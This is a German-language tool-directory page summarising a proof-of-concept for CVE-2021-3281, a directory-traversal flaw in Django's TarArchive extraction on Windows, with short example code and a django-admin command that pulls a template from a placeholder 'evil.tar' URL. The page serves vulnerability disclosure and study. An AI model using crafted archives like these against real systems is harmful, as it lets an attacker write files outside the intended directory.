Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2021-3281 — Proof-of-Concept für CVE-2021-3281: Directory-Traversal-Sicherheitslücke in Djangos TarArchive-Dienstprogramm durch präparierte tar-Dateien, mit Demonstration des Python tarfile-Moduls. | Kitploit
Tools/GitHubGitHub/lwzsoviet/cve-2021-3281
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPapers & ForschungLernen & Bildung
GitHublwzsoviet/cve-2021-3281

CVE-2021-3281

Proof-of-Concept für CVE-2021-3281: Directory-Traversal-Sicherheitslücke in Djangos TarArchive-Dienstprogramm durch präparierte tar-Dateien, mit Demonstration des Python tarfile-Moduls.

Repository anzeigen
2vor 5 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2021-3281

Es gibt eine Directory-Traversal-Schwachstelle in django.utils.archive.py, Zeile 171, in der Klasse TarArchive.

Der Funktionsaufruf os.path.join(to_path, name) hat den Parameter "name" nicht überprüft. Wenn jemand dieses Dienstprogramm auf der Windows-Plattform verwendet, besteht ein Directory-Traversal-Risiko. Der POC ist:

root@kitploit:~
from django.utils import archive
archive.extract('test.tar','.')
Die Datei test.tar enthält eine Datei namens "d:game.exe", und der POC erstellt eine Datei namens "game.exe" in D://game.exe anstelle von "."
Es scheint, dass der Django-Kern dieses Dienstprogramm nicht verwendet, aber ich denke immer noch, dass es ein Risiko darstellt. Vielleicht wird jemand dieses Dienstprogramm in einer Webanwendung verwenden, um etwas zu archivieren.``Und es gibt ein weiteres Szenario:``Der Befehl "djangoadmin startapp --template" verwendet archive.py, siehe https://docs.djangoproject.com/en/3.1/ref/django-admin/#s-startapp. POC ist:

django-admin.exe startapp vulapp --template="C:/my_templates/test.tar"
Es erstellt eine Datei namens "game.exe" in D://game.exe anstelle von "vulapp/". Es akzeptiert auch URLs wie "django-admin.exe startapp vulapp --template=https://xxx.com/evil.tar"

POC

root@kitploit:~
from django.utils import archive
archive.extract('test.tar','.')

Das gleiche Problem gibt es in Python/Lib/tarfile.py:

root@kitploit:~
#Lib/tarfile.py:
import tarfile
tar=tarfile.open('test.tar','r')
tar.extractall('.')
tar.close()

und die Dokumentation gibt eine Warnung, siehe https://docs.python.org/3/library/tarfile.html#tarfile.TarFile.extractall

Link

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3281

https://www.djangoproject.com/weblog/2021/feb/01/security-releases/

Tool herunterladen